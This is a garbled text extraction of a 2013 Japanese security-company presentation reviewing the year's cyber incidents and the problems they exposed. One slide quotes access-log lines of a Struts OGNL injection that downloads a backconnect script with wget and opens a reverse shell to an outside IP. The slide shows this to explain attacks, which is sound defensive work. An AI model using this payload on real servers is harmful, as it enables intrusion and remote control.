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株式会社ラック株式会社ラック
セキ リテ で お客様 成長に貢献しセキ リテ で お客様 成長に貢献しセキュリティで、お客様の成長に貢献し、セキュリティで、お客様の成長に貢献し、

安心・安全な情報社会を実現します。安心・安全な情報社会を実現します。

お客様とともにお客様とともに 社会とともに社会とともに 安心とともに安心とともにお客様とともに。お客様とともに。 社会とともに。社会とともに。 安心とともに。安心とともに。
※※ ＪＳＯＣＪＳＯＣ（下記参照）、（下記参照）、サイバーセキュリティ研究所サイバーセキュリティ研究所、、サイバー救急センターサイバー救急センターが特徴です。が特徴です。

商 号 株式会社ラック
LAC： LAC Co., Ltd.

設 立 2007年10月1日

資本金 10億円

・本社・本社
〒〒102102--00930093 東京都千代田区平河町東京都千代田区平河町 22--1616--11
平河町森タワー平河町森タワー
0303--67576757--0111(0111(代表代表))
0303--67576757--0113 (0113 (営業窓口営業窓口))

・米国ニューヨークオフィス・米国ニューヨークオフィス USLACUSLAC

・韓国ソウル・韓国ソウル 子会社子会社 CSLACCSLAC
Cyber Security LAC Cyber Security LAC Co.,LtdCo.,Ltd..

中国上海中国上海 子会社子会社

■■ JSOC (Japan Security Operation Center)JSOC (Japan Security Operation Center)

は ラ クが運営する情報セキ リテ に関するオペ セ タ すは ラ クが運営する情報セキ リテ に関するオペ セ タ す 時間時間

資本 億円

代 表 代表取締役社長 髙梨 輝彦

売上高 連結 315億円 （2012年3月期）

決算期 3月末日

・名古屋オフィス・名古屋オフィス
〒〒460460--00020002 名古屋市中区丸の内名古屋市中区丸の内22--1818--1111
46KT46KTビルビル4F 4F 

・中国上海・中国上海 子会社子会社 LAC CHINALAC CHINA
上海楽客網絡技術有限公司上海楽客網絡技術有限公司

JSOCJSOCは、ラックが運営する情報セキュリティに関するオペレーションセンターです。は、ラックが運営する情報セキュリティに関するオペレーションセンターです。2424時間時間365365
日運営。高度な分析官とインシデント対応技術者を配置しています。日運営。高度な分析官とインシデント対応技術者を配置しています。20002000年の九州・沖縄サ年の九州・沖縄サ
ミットの運用・監視を皮切りに、日本の各分野でのトップ企業などに、高品質なサービスを提供ミットの運用・監視を皮切りに、日本の各分野でのトップ企業などに、高品質なサービスを提供
しています。しています。

決算期 末日

認定資格 経済産業省情報セキュリティ監査企業登録
情報セキュリティマネジメントシステム
(ISO/IEC 27001)認証取得(JSOC)
プライバシーマーク認定取得

 http://www.lac.co.jp/
 sales@lac.co.jp
 Twitter @lac_security
 YouTube laccotv
 株
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 Facebook Little.eArth.Corp or 株式会社ラック
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わたしわたし
にしにし もともと いついつ ろうろう

西西 本本 逸逸 郎郎 CISSPCISSP

昭和３３年 福岡県北九州市生まれ

どらいつ 検索ブログ

@dry2

昭和５９年３月 熊本大学工学部土木工学科中退
昭和５９年４月 情報技術開発株式会社入社
昭和６１年１０月 株式会社ラック入社

プ グラ として数多くの情報通信技術シ テムの開発や企画を担当 2000年より 情報通信技プログラマとして数多くの情報通信技術システムの開発や企画を担当。2000年より、情報通信技
術のさらなる利活用を支えるため、サイバーセキュリティ分野にて脅威への研究や対策に邁進。

わかりやすさをモットーに、官庁、大学、その他公益法人、企業、各種イベントやセミナーなどでの講演や新聞・
雑誌などへの寄稿 テレビやラジオなどでコメントなど多数実施雑誌などへの寄稿、テレビやラジオなどでコメントなど多数実施。

株式会社ラック 専務理事 CTO
サイバー救急センター 調査員

一般社団法人 日本スマートフォンセキュリティ協会 理事 事務局長

国・企業・メディアが決して語らない
サイバー戦争の真実

著者 西本逸郎 三好尊信一般社団法人 日本スマートフォンセキュリティ協会 理事、事務局長
特定非営利活動法人 日本ネットワークセキュリティ協会 理事
データベースセキュリティコンソーシアム 理事、事務局長
セキュリティキャンプ実施協議会 事務局長

2009年度情報化月間 総務省 国際戦略局長表彰
2013年情報セキュリティ文化賞

著者 ： 西本逸郎・三好尊信
定価： 1,050 円（税込）
ページ数： 208
初版発行： 2012-02
ISBN： 978-4-8061-4293-5

2013年情報セキュリティ文化賞

内閣官房 情報セキュリティ政策会議普及啓発・人材育成専門委員会 委員
総務省 スマートフォン・クラウドセキュリティ研究会 委員
経済産業省 サイバーセキュリティと経済 研究会 委員
警察庁 総合セキュリティ対策会議委員

２０１１年７月に、米国防省が「サイバー攻
撃は戦争行為だ」との見解を表明し、サイ
バー空間は陸・海・空・宇宙に続く第５の戦
場として規定されました。本書は、現在のサ
イバースペースを取り巻く環境を紹介し、世
界各国や大企業の攻防から私達個人のセ

Copyright ©LAC Co., Ltd. 2013 All Rights Reserved.

産業技術大学院大学 運営諮問委員
界各国や大企業の攻防から私達個人のセ
キュリティーまでをわかりやすく解説します。
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この度は、この度は、
弊社の不手際により、事務局を弊社の不手際により、事務局を

す 係 方す 係 方はじめとする関係の方々に、はじめとする関係の方々に、
多大なご迷惑をおかけしました多大なご迷惑をおかけしました多大なご迷惑をおかけしました。多大なご迷惑をおかけしました。

非礼を お詫び申し上げます非礼を お詫び申し上げます非礼を、お詫び申し上げます。非礼を、お詫び申し上げます。

Copyright ©LAC Co., Ltd. 2013 All Rights Reserved.
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１ この一年の事象１ この一年の事象１．この一年の事象１．この一年の事象
→→ 私の独断と偏見で私の独断と偏見で→ → 私の独断と偏見で。私の独断と偏見で。

Copyright ©LAC Co., Ltd. 2013 All Rights Reserved.
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其の壱其の壱 噛みつくアノニマス噛みつくアノニマス

「アラブの春」政府側の検閲などを妨害。「アラブの春」政府側の検閲などを妨害。「アラブの春」政府側の検閲などを妨害。「アラブの春」政府側の検閲などを妨害。

麻薬組織への恫喝麻薬組織への恫喝
組織の秘密を暴露すると脅迫組織の秘密を暴露すると脅迫

麻薬組織への恫喝麻薬組織への恫喝

違法ダウンロード刑事罰化への対抗違法ダウンロード刑事罰化への対抗違法ダウンロード刑事罰化への対抗違法ダウンロード刑事罰化への対抗

北朝鮮へのちょっかい北朝鮮へのちょっかい

次 油業界次 油業界

北朝鮮へのちょっかい北朝鮮へのちょっかい

次 油業界次 油業界次は石油業界？次は石油業界？次は石油業界？次は石油業界？

アノニマスを支援アノニマスを支援(?)(?)する多くの関連団体する多くの関連団体アノニマスを支援アノニマスを支援(?)(?)する多くの関連団体する多くの関連団体

自由、環境、権力への挑戦など自由、環境、権力への挑戦など
Copyright ©LAC Co., Ltd. 2013 All Rights Reserved.

自由、環境、権力 の挑戦など自由、環境、権力 の挑戦など
→ → 当面、話題は尽きないだろう。当面、話題は尽きないだろう。



其の弐其の弐 定例化する９１８定例化する９１８

ＵＳには、乗っ取らＵＳには、乗っ取ら
れた若しくは正規のれた若しくは正規の

当社ＪＳＯＣでの観測状況当社ＪＳＯＣでの観測状況

少なくとも２０１０年から２０１２年まで３年間連続で発生。少なくとも２０１０年から２０１２年まで３年間連続で発生。
しかも 三連休！しかも 三連休！ CNCN特異点

れた若しくは正規のれた若しくは正規の
クラウドを利用した攻クラウドを利用した攻
撃が多く存在すると撃が多く存在すると
推測。推測。

→ → しかも、三連休！しかも、三連休！

日本の腕利き技術者の日本の腕利き技術者の家家庭庭崩崩壊が目的か？壊が目的か？
毎年毎年 99月は演習月間月は演習月間！！

USUS

毎年、毎年、99月は演習月間月は演習月間！！
→→ 88月は点検月間月は点検月間！！ USUS攻撃攻撃

増加増加

攻撃攻撃
拡大拡大

  88月は点検月間月は点検月間！！

+2+2月も月も
２０１２年９月２０１２年９月 日 日 日 日 日 日 日 日 日 日 日 日 日 日 日 日 日 日 日 日

+2+2月も。月も。
対策の「対策の「副作用副作用」 の考慮も必要」 の考慮も必要対策の「対策の「副作用副作用」への考慮も必要。」への考慮も必要。

→→ 向こうの狙いへの根本対策向こうの狙いへの根本対策

Copyright ©LAC Co., Ltd. 2013 All Rights Reserved.
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  向こうの狙い の根本対策向こうの狙い の根本対策



其の参其の参 増幅反射するオープンリゾルバ増幅反射するオープンリゾルバ
少ない弾薬でも増幅してくれるので少ない弾薬でも増幅してくれるので
効率の良い攻撃が可能。

１．野良オープンリゾルバへの課題１．野良オープンリゾルバへの課題
マヒさせるには大量の
砲台が必要。

２．役割や社会的使命に応じた対抗２．役割や社会的使命に応じた対抗
３ 限度を超えた攻撃の見方３ 限度を超えた攻撃の見方３．限度を超えた攻撃の見方３．限度を超えた攻撃の見方

ＢＯＴＢＯＴ
オープンリゾルバ（増幅反射砲）オープンリゾルバ（増幅反射砲）

犯人犯人
攻撃指令攻撃指令

耐えるという対策で、「副作用」が出るという事か。耐えるという対策で、「副作用」が出るという事か。
→→ 所謂、野良オープンリゾルバの撲滅を。所謂、野良オープンリゾルバの撲滅を。

Copyright ©LAC Co., Ltd. 2013 All Rights Reserved.
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  所謂、野良オ プンリゾル の撲滅を。所謂、野良オ プンリゾル の撲滅を。



其の四其の四 ストックされるアカウントストックされるアカウント

１．ストックされているアカウント情報１．ストックされているアカウント情報
２．攻撃実態はほとんど闇の中２．攻撃実態はほとんど闇の中
３ 目的も全て明確なわけではない３ 目的も全て明確なわけではない３．目的も全て明確なわけではない３．目的も全て明確なわけではない

Copyright ©LAC Co., Ltd. 2013 All Rights Reserved.
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其の五其の五 踏まれるアプリケーションサーバ踏まれるアプリケーションサーバ

脆弱性情報：
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-1870
http://struts.apache.org/2.2.1/docs/s2-005.html

Tomcat上のStrutsの脆弱性を狙い
バックドアを仕込み、ルートキットを
インスト ルして行 た事案が

１．アノニマスの仕業とされる多くの事例１．アノニマスの仕業とされる多くの事例
ざざ

要は「野良」問題。要は「野良」問題。
攻撃例：

"GET 
/XXX/XXXXX.action?XXXX=ja?('¥¥u0023 memberAccess[¥¥'allowStaticMethodAccess¥¥']')(meh)=true&(aaa)(('zz')(('¥¥u0023co

インストールして行った事案が。

２．９１８関連で発生している改ざん事件２．９１８関連で発生している改ざん事件
３ マルウェア置場や誘導元の踏み台３ マルウェア置場や誘導元の踏み台

要は 野良」問題。要は 野良」問題。
◆◆ 無線無線LANLAN
j ( _ [ ] )( ) ( )(( )((

ntext[¥¥'xwork.MethodAccessor.denyMethodExecution¥¥']¥¥u003dfalse')(x))(zzxx))&(asdf)(('¥¥u0023rt.exec(¥¥'wget%20hogeho
ge.org/tool/backconnect.txt%20-O%20./bc.pl¥¥')')(¥¥u0023rt¥¥u003d@java.lang.Runtime@getRuntime()))=1
HTTP/1.1" 200 549
※wgetコマンドでhogehoge.org/tool/backconnect.txtをダウンロードし、bc.plという名前で保存

３．マルウェア置場や誘導元の踏み台３．マルウェア置場や誘導元の踏み台
など。など。AA TomcatTomcat StrutsStruts

◆◆ オープンリゾルバオープンリゾルバ
◆◆ 多くの管理されていない多くの管理されていないパソコンパソコン"GET 

/XXX/XXXX.action?XXXX=ja?('¥¥u0023_memberAccess[¥¥'allowStaticMethodAccess¥¥']')(meh)=true&(aaa)(('zz')(('¥¥u0023cont
ext[¥¥'xwork.MethodAccessor.denyMethodExecution¥¥']¥¥u003dfalse')(x))(zzxx))&(asdf)(('¥¥u0023rt.exec(¥¥'perl%20./bc.pl%20
116.XXX.XXX.241%2021¥¥')')(¥¥u0023rt¥¥u003d@java.lang.Runtime@getRuntime()))=1
HTTP/1 1" 200 549

AA．．TomcatTomcat、、StrutsStruts
BB．．ColdfusionColdfusion

◆◆ 多くの管理されていない多くの管理されていないパソコンパソコン
◆◆ 管理されてない管理されてないアプリケーションサーバアプリケーションサーバ

HTTP/1.1" 200 549
※perlのプログラムbc.plを実行し、IPアドレス116.XXX.XXX.241（中国）の21/tcpに対してコネクトバックシェル を開く

"GET 
/XXX/XXXX.action?XXXX=ja?('¥¥u0023_memberAccess[¥¥'allowStaticMethodAccess¥¥']')(meh)=true&(aaa)(('zz')(('¥¥u0023cont

CC．．WordpressWordpress など。など。１．安価なレンタルサービス１．安価なレンタルサービス
保有 管理から利用 推進保有 管理から利用 推進

j ( _ [ ] )( ) ( )(( )((
ext[¥¥'xwork.MethodAccessor.denyMethodExecution¥¥']¥¥u003dfalse')(x))(zzxx))&(asdf)(('¥¥u0023rt.exec(¥¥'rm%20-
f%20./bc.pl¥¥')')(¥¥u0023rt¥¥u003d@java.lang.Runtime@getRuntime()))=1
HTTP/1.1" 200 549
※bc.plの削除

２．保有・管理から利用の推進２．保有・管理から利用の推進
３ 情報システム部門の変化の顕在化３ 情報システム部門の変化の顕在化

Copyright ©LAC Co., Ltd. 2013 All Rights Reserved.
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其の六其の六 復活！銀行強盗復活！銀行強盗
盗聴盗聴

権限悪用権限悪用

スキミングスキミング

不正出金不正出金

出し子システム出し子システムスマートスマート（（==インターネットと融合した）インターネットと融合した）

口座・アカウント情報口座・アカウント情報

中間者中間者
なりすましなりすまし

自ら送金自ら送金

スマ トスマ ト（（ インタ ネットと融合した）インタ ネットと融合した）

スマートフォンスマートフォン お店は既に、お店は既に、
なりすましログインなりすましログイン
偽キャッシュカード偽キャッシュカード

ググ 盗聴盗聴

インターネットインターネット
スマートグリッドスマートグリッド
スマートシティスマートシティ

ということは、ということは、
金融、医療、介護など金融、医療、介護など

遠隔操作遠隔操作
詐欺・脅し詐欺・脅し
パソコン遠隔操作パソコン遠隔操作

フィッシングフィッシング 盗聴盗聴
こういう状態で、こういう状態で、

個人への直接リー個人への直接リー
チが出来るスマホチが出来るスマホ
の普及。うーん。の普及。うーん。

ィィ
スマートオフィススマートオフィス
スマートジャパンスマートジャパン

金融、医療、介護など金融、医療、介護など
当然、当然、
あらゆるあらゆる犯罪犯罪がが

中間者中間者

の普及。う ん。の普及。う ん。
不正送金不正送金
送金操作送金操作

振り込め振り込め
詐欺詐欺

これは、まさしく現代の「これは、まさしく現代の「銀行強盗！銀行強盗！」」

スマ トジャパンスマ トジャパン あらゆるあらゆる犯罪犯罪がが

知り合い知り合い

盗聴盗聴フィッシングフィッシング

これは、まさしく現代これは、まさしく現代 銀行強盗！銀行強盗！」」

スマート強スマート強盗盗！！トーマストーマス
Copyright ©LAC Co., Ltd. 2013 All Rights Reserved.

利用者利用者

中間者・なりすまし中間者・なりすまし
自ら送金自ら送金
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其の七其の七 代替え策の企業内システム破壊代替え策の企業内システム破壊

韓国での同様の事件韓国での同様の事件１ 一般利用者から企業内へ１ 一般利用者から企業内へ韓国での同様の事件韓国での同様の事件
１．２００９年７月１．２００９年７月

１． 般利用者から企業内１． 般利用者から企業内
２．ねちねち遠隔操作仕込み２．ねちねち遠隔操作仕込み年 月年 月

２．２０１１年３月２．２０１１年３月３．利用目的が異なる。自爆的な攻撃。３．利用目的が異なる。自爆的な攻撃。
４ 狙いは？４ 狙いは？ 今回今回ATMATMも被害にあっも被害にあっ

３．２０１１年４月３．２０１１年４月
今 事件今 事件

４．狙いは？４．狙いは？

A.A. 愉快犯？金銭目的？愉快犯？金銭目的？

今回今回ATMATMも被害にあっも被害にあっ
たという。たという。
原因は？原因は？ マニュアルマニュアル
的なセキュリティ対策的なセキュリティ対策

そして、今回の事件。そして、今回の事件。
A.A. 愉快犯？金銭目的？愉快犯？金銭目的？
B.B. 主義主張？権益の拡大？主義主張？権益の拡大？

基盤を失う基盤を失う

的な キ リティ対策的な キ リティ対策

C.C. 基盤を失う。基盤を失う。
→→ 核やミサイル実験の代替え策？核やミサイル実験の代替え策？

Copyright ©LAC Co., Ltd. 2013 All Rights Reserved.

→ → 核やミサイル実験の代替え策？核やミサイル実験の代替え策？
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其の八其の八 素人も素人もすすなる遠隔操作なる遠隔操作
さ 事件さ 事件さて、この事件さて、この事件少々考察少々考察

１）１）新しい事件なのか新しい事件なのか？？
遠隔操作ウイルスって 以前から存在している遠隔操作ウイルスって 以前から存在している

掲示板２ちゃんねる掲示板２ちゃんねる
？？？？？？？？

「良いソフトがあるよ！」「良いソフトがあるよ！」
匿名システム経由匿名システム経由

適当な適当な
置場置場

匿名システム経由匿名システム経由

１）仕込みに１）仕込みにTORTOR使用使用
→ → 掲示板へ「殺人予告」などを書き込むことが目的ではない。掲示板へ「殺人予告」などを書き込むことが目的ではない。

パソ 持ち主パソ 持ち主 怨恨 愉快怨恨 愉快 或 は或 は 警察警察 怨恨 愉快怨恨 愉快→ → 遠隔操作ウイルスって。以前から存在している。遠隔操作ウイルスって。以前から存在している。
→ → 金銭目的、権限拡大目的では、主流の手口。金銭目的、権限拡大目的では、主流の手口。
→ → 主義主張者、或いは愉快犯が、この手を使った。主義主張者、或いは愉快犯が、この手を使った。

派遣会社派遣会社

「コミックマーケットで「コミックマーケットで
大量殺人を行う」大量殺人を行う」

取引先や世間取引先や世間

大変だ！
未確定未確定

→ → パソコン持ち主パソコン持ち主への怨恨・愉快への怨恨・愉快 或いは或いは 警察警察への怨恨・愉快への怨恨・愉快

そもそもそもそも 警察を嵌める手警察を嵌める手口に対抗できるのか？口に対抗できるのか？
真犯人からの告白メールから。真犯人からの告白メールから。
落合洋司落合洋司 弁護士弁護士の公開サイトより。の公開サイトより。

２）２）踏み台にされた被害者は踏み台にされた被害者は？？
→ → 全く責任はないのか？全く責任はないのか？ → → 盗まれた車で犯罪を犯されたら？盗まれた車で犯罪を犯されたら？

CSRFCSRFのリンクを踏んだこと。のリンクを踏んだこと。 → → 掲示板運営側の責任は？掲示板運営側の責任は？
ウ を とウ を と 迂闊な行為迂闊な行為

派遣先の不動産会社派遣先の不動産会社
遠隔操作した遠隔操作した

大変だ！ 身を隠す煙幕身を隠す煙幕

２）２）掲示板でソフトをインストール・確保できたウイルス掲示板でソフトをインストール・確保できたウイルス

そもそも、そもそも、警察を嵌める手警察を嵌める手口に対抗できるのか？口に対抗できるのか？

仕込まれているスクリプトにより、仕込まれているスクリプトにより、
別のサイトに勝手に投稿。別のサイトに勝手に投稿。

真犯人からの告白メールから。真犯人からの告白メールから。
落合洋司落合洋司 弁護士弁護士の公開サイトより。の公開サイトより。

ウイルスをインストールしたこと。ウイルスをインストールしたこと。 → → 迂闊な行為？迂闊な行為？
→ → 企業のリスク管理の観点では関係ないのか？企業のリスク管理の観点では関係ないのか？

→ → 社内感染での情報漏えいは？社内感染での情報漏えいは？ → → 要は暴露される標的。要は暴露される標的。
社会的地位のある方社会的地位のある方が被害者だ たら？が被害者だ たら？

遠隔操作された、名古屋の会社遠隔操作された、名古屋の会社 お！お！
感染したな！感染したな！

よっしゃ、よっしゃ、

２ちゃん２ちゃんねるをねるを閲覧し、閲覧し、
ソフトをインストール。ソフトをインストール。

２）２）掲示板でソフトをインストール・確保できたウイルス掲示板でソフトをインストール・確保できたウイルス
→ → 所謂、に所謂、にちゃんねらー。ちゃんねらー。
→ → 報道されている以外の報道されている以外の感染者感染者の存在。の存在。

成（ ）成（ ）
クリックしたクリックしたPCPCをを
踏み台にして、踏み台にして、
別のサイトに書き別のサイトに書き

→ → 社会的地位のある方社会的地位のある方が被害者だったら？が被害者だったら？

３）３）今後のホラーストーリは今後のホラーストーリは？？
単純な模倣犯や、否認の多発は、さておき。単純な模倣犯や、否認の多発は、さておき。 重要な情報資産を重要な情報資産を掲示板したら掲示板したらばば

命令ください！命令ください！

書き込んだ書き込んだれれ！！

匿名システム経由匿名システム経由

なになに？なになに？ 取引先や世間取引先や世間

→ → C#C#。。基本一から作成（コピペあり）。亜種ではない。基本一から作成（コピペあり）。亜種ではない。
WebWeb関係プログラミング関係プログラミング。日本人。。日本人。

→ → ウイルスの素人。ウイルスの素人。非感染・非難読・非隠蔽非感染・非難読・非隠蔽。。→ → 普通のプログラマ普通のプログラマ
別のサイトに書き別のサイトに書き
込みをさせられる。込みをさせられる。
スマホでも同様。スマホでも同様。
携帯は利用ブラウ携帯は利用ブラウ

この書き込みをさせられた市のペ ジでこの書き込みをさせられた市のペ ジで

→ → 企業インパクトは計り知れないことが判明。企業インパクトは計り知れないことが判明。
→ → 単なるアプリなので、スマホに行く。単なるアプリなので、スマホに行く。
→ → ITIT技術者の社会的信頼損失が加速。技術者の社会的信頼損失が加速。

守れば良いという守れば良いという
わけではないのか。わけではないのか。

KLDWXNwiwzDWiwKLDWXNwiwzDWiw
LnsdfalkdCENXwDCaLnsdfalkdCENXwDCa取引先や世間取引先や世間

うちのデータ大丈夫？うちのデータ大丈夫？
どういう管理してるの？どういう管理してるの？

会社のパソコンで何やっ会社のパソコンで何やっ

取引先や世間取引先や世間
うちのデータ大丈夫？うちのデータ大丈夫？

従業員管理？従業員管理？
会社のパソコンで何やっ会社のパソコンで何やっ

てるの？掲示板？てるの？掲示板？
匿名化システム使用？匿名化システム使用？

→ → 脆弱性の未使用。（使わなくてもクリックする。）脆弱性の未使用。（使わなくてもクリックする。） → → 対策の常識が、ここでも無効対策の常識が、ここでも無効。。
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ザによっては同様。ザによっては同様。 この書き込みをさせられた市のページでこの書き込みをさせられた市のページで
CSRFCSRFが存在。が存在。
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会社の ソ ンで何やっ会社の ソ ンで何やっ
てるの？掲示板？てるの？掲示板？
ソフトインストール？ソフトインストール？

匿名化システム使用？匿名化システム使用？



其の九其の九 消えたデータと経営消えたデータと経営
れ 業者 特殊 極端な例なれ 業者 特殊 極端な例な稼働率１００％稼働率１００％とは？とは？

１００％稼働なので、「トラブル１００％稼働なので、「トラブル
ということは、デーということは、デー
タに関しては、何タに関しては、何

保障も 保証も保障も 保証も

これは、この業者の特殊で極端な例なのでは？これは、この業者の特殊で極端な例なのでは？
大手であれば、任せて大丈夫ではないか？大手であれば、任せて大丈夫ではないか？稼働 、稼働 、

なしでの連続稼働」を保障してなしでの連続稼働」を保障して
くれるのでは？くれるのでは？ 保証保証

の保障も、保証もの保障も、保証も
ないということ。ないということ。

低価格のサービスに留まらず、第三者に業務を委託をする低価格のサービスに留まらず、第三者に業務を委託をする
ということは、ということは、

しかも、バックアップも取ってくしかも、バックアップも取ってく
れているので こちらではれているので こちらでは

保証保証
１．契約約款１．契約約款 → → 確認してますか？確認してますか？
２．万一のとき、保証返金はあるのか？２．万一のとき、保証返金はあるのか？

何だ バックアッ何だ バックアッ

れているので、こちらでは、れているので、こちらでは、
何の心配もないよね。何の心配もないよね。 安心でき安心でき

ないの？ないの？
えっと、えっと、

サービスのサービスの

万 とき、保証返金はある か万 とき、保証返金はある か
３．万一のとき、何を保障して、保証してくれるのか？３．万一のとき、何を保障して、保証してくれるのか？
４．万一のとき、金銭で解決できるのか？４．万一のとき、金銭で解決できるのか？ 何だ、バックアッ何だ、バックアッ

プから再構築できプから再構築でき
るではないか！るではないか！でも、よく考えると、１００％保障なのにでも、よく考えると、１００％保障なのに

バ クア プが何故に必要？バ クア プが何故に必要？ 保証保証

サ ビスのサ ビスの
稼働だけ？稼働だけ？

データの 復旧は？データの 復旧は？

万 とき、金銭 解決 きる か万 とき、金銭 解決 きる か
５．万一のとき、損害賠償要求が出来るのか？５．万一のとき、損害賠償要求が出来るのか？

事業インパクト事業インパクトを よくを よく理解し覚悟理解し覚悟しなければならないしなければならないバックアップが何故に必要？バックアップが何故に必要？
よそに移る時のためかな？よそに移る時のためかな？

保証保証デ タの、復旧は？デ タの、復旧は？

消えたデータはどう消えたデータはどう
なるの？なるの？

では 海外の有名企業であれば 大丈夫？では 海外の有名企業であれば 大丈夫？

事業インパクト事業インパクトを、よくを、よく理解し覚悟理解し覚悟しなければならない。しなければならない。

どういう約束でも、どういう約束でも、金銭以外では解決できない金銭以外では解決できないことを理解し、ことを理解し、
事業の継続事業の継続を考えておかなければならないを考えておかなければならない
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よそに移る時のためかな？よそに移る時のためかな？
「レンタルサーバサービス契約利用約款」から「レンタルサーバサービス契約利用約款」から

では、海外の有名企業であれば、大丈夫？では、海外の有名企業であれば、大丈夫？事業の継続事業の継続を考えておかなければならない。を考えておかなければならない。
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其の番外編（１）其の番外編（１） 低年齢化低年齢化

子供がネット犯罪！？子供がネット犯罪！？
ましてや悪質なプログラムを開発？ましてや悪質なプログラムを開発？ましてや悪質なプログラムを開発？ましてや悪質なプログラムを開発？

→ → そういう情報から隔離をしなければ。そういう情報から隔離をしなければ。
有害情報有害情報→ → 有害情報！有害情報！

プログラム開発を有害情報と言われかねないプログラム開発を有害情報と言われかねないプログラム開発を有害情報と言われかねない。プログラム開発を有害情報と言われかねない。
→ → 勉学、武道、趣味勉学、武道、趣味

→→ 大人の指導が可能大人の指導が可能→ → 大人の指導が可能大人の指導が可能
→ → 情報技術になった途端に大人の思考停止情報技術になった途端に大人の思考停止

知育の観点で、子供への情報技術を指導。知育の観点で、子供への情報技術を指導。

Copyright ©LAC Co., Ltd. 2013 All Rights Reserved.
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其の番外編（２）其の番外編（２） ネット選挙ネット選挙

ネットでのネットでの選挙運動選挙運動が解禁。が解禁。
政治活動政治活動やや落選運動落選運動は 選挙運動ではないは 選挙運動ではない

選挙関係者選挙関係者の事前対策と、選挙期間というの事前対策と、選挙期間という短期間の一発短期間の一発
勝負勝負での対応。での対応。政治活動政治活動やや落選運動落選運動は、選挙運動ではない。は、選挙運動ではない。
メール（メール（SMTPSMTP）は特別扱い。）は特別扱い。
現状の環境変化現状の環境変化に対して、大きな選挙はに対して、大きな選挙は大河の流れ大河の流れで、で、
他の選挙で他の選挙で日々の訓練日々の訓練も重要。も重要。
◆アプリは？◆アプリは？
→ → ブラウザブラウザと思えばよい？表示内容？単独動作は？と思えばよい？表示内容？単独動作は？

一般の有権者が一般の有権者が選挙運動を知る選挙運動を知る。。
一般の有権者の一般の有権者の選挙運動が増加選挙運動が増加する。する。
◆外国人の選挙運動は禁止されていない。◆外国人の選挙運動は禁止されていない。
◆未成年の選挙運動は禁止されている。◆未成年の選挙運動は禁止されている。

般の有権者の般の有権者の選挙運動が増加選挙運動が増加する。する。
選挙における不正などはどこの国でも起きているが、一般選挙における不正などはどこの国でも起きているが、一般
的にはその的にはその国の信頼度を問われる国の信頼度を問われるものである。ものである。
◆当日の選挙運動は禁止されている。◆当日の選挙運動は禁止されている。
◆候補者の指示による機械的な選挙運動。◆候補者の指示による機械的な選挙運動。

的にはそ的にはそ 国 信頼度を問われる国 信頼度を問われるも である。も である。

候補者や政党側よりも、候補者や政党側よりも、
メディア 保護者 学校の先生メディア 保護者 学校の先生への啓発が極めて重要への啓発が極めて重要
◆候補者の指示による機械的なネット監視依頼。◆候補者の指示による機械的なネット監視依頼。
◆有料広告関係。◆有料広告関係。

メディア、保護者、学校の先生メディア、保護者、学校の先生への啓発が極めて重要への啓発が極めて重要
さらに、当然のことながら、一さらに、当然のことながら、一般有権者の見識般有権者の見識にに

日本の将来がかかっている日本の将来がかかっていることは間違いないことは間違いない
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日本の将来がかかっている日本の将来がかかっていることは間違いない。ことは間違いない。
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２２ 明らかにな た明らかにな た課題など課題など２．２．明らかになった明らかになった課題など課題など
→→ これまた独断でこれまた独断で→ → これまた独断でこれまた独断で
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16



１．金銭目的への課題と対抗１．金銭目的への課題と対抗

１．日本語の壁の崩壊１．日本語の壁の崩壊
→→ 上記の国際連携上記の国際連携

２．国際的に見ての規制、保護の凸凹。２．国際的に見ての規制、保護の凸凹。

→ → 上記の国際連携上記の国際連携

３．国際的に見ての対策の凸凹。３．国際的に見ての対策の凸凹。

４ 取得されているアカウント把握とその取り扱い４ 取得されているアカウント把握とその取り扱い４．取得されているアカウント把握とその取り扱い。４．取得されているアカウント把握とその取り扱い。
→ → キーハニー？キーハニー？

５ 手口の情報連携５ 手口の情報連携５．手口の情報連携５．手口の情報連携
→ → 誰とどうやって？誰とどうやって？
→→ 侵入手口（脆弱性 なり済まし）侵入手口（脆弱性 なり済まし）→ → 侵入手口（脆弱性、なり済まし）侵入手口（脆弱性、なり済まし）
→ → 犯人の推測と対抗？犯人の推測と対抗？

Copyright ©LAC Co., Ltd. 2013 All Rights Reserved.
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２．副作用への配慮２．副作用への配慮
１．政治的な抗議などでの改ざん１．政治的な抗議などでの改ざん

→ → 対策の浸透がもたらすこと。対策の浸透がもたらすこと。

２．ＤＤｏＳへの対抗２．ＤＤｏＳへの対抗
→→ サイトでの責任サイトでの責任

策策

  サイトでの責任サイトでの責任
→ → データセンターなどデータセンターなど
→→ 社会基盤社会基盤  社会基盤社会基盤

３．嵌める手口への対抗３．嵌める手口への対抗
→→ ある面 嵌まるのも仕事かもある面 嵌まるのも仕事かも

対応が被害を拡大対応が被害を拡大

→ → ある面、嵌まるのも仕事かも。ある面、嵌まるのも仕事かも。
→ → そのうえで、どう考えるか。そのうえで、どう考えるか。

マニュアル対応が被害を拡大？マニュアル対応が被害を拡大？
→→ 相手の狙いを意識し、相手の狙いを意識し、
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  相手の狙いを意識し、相手の狙いを意識し、
→ → そうならない対策が重要。そうならない対策が重要。
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３．いざとなったら見える３．いざとなったら見える

「監視社会到来」などと、「監視社会到来」などと、
→→ 暗いイメ ジで語られることが多い暗いイメ ジで語られることが多い

逆に監視がない社会って？逆に監視がない社会って？ → → 誰がどうやるのか？誰がどうやるのか？

→ → 暗いイメージで語られることが多い。暗いイメージで語られることが多い。

視 社会視 社会 誰 う誰 う

１．ドジを踏まなければほぼ捕まらない。１．ドジを踏まなければほぼ捕まらない。
２ 抑止が効かず 社会コストが増大する２ 抑止が効かず 社会コストが増大する

TORTORなどを使用した犯罪。などを使用した犯罪。
（匿名化 暗号 徹底的な悪用）（匿名化 暗号 徹底的な悪用） 常態化 必至常態化 必至

２．抑止が効かず、社会コストが増大する。２．抑止が効かず、社会コストが増大する。

（匿名化、暗号の徹底的な悪用）（匿名化、暗号の徹底的な悪用）→ → 常態化は必至。常態化は必至。
→ → 完全犯罪は成立しない。人間系で発覚。完全犯罪は成立しない。人間系で発覚。

ざざ 備え備え→ → いざにいざに備える。備える。
→ → 使用する機会を減らす。使用する機会を減らす。
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４．情報経営への黎明４．情報経営への黎明

１．利用企業１．利用企業 → → 一般的に利用一般的に利用

２．活用企業２．活用企業 →→ 合理化を推進合理化を推進２．活用企業２．活用企業   合理化を推進合理化を推進

３ 基盤企業３ 基盤企業 事業基盤事業基盤３．基盤企業３．基盤企業 → → 事業基盤事業基盤

４．社会企業４．社会企業 → → 社会責任社会責任

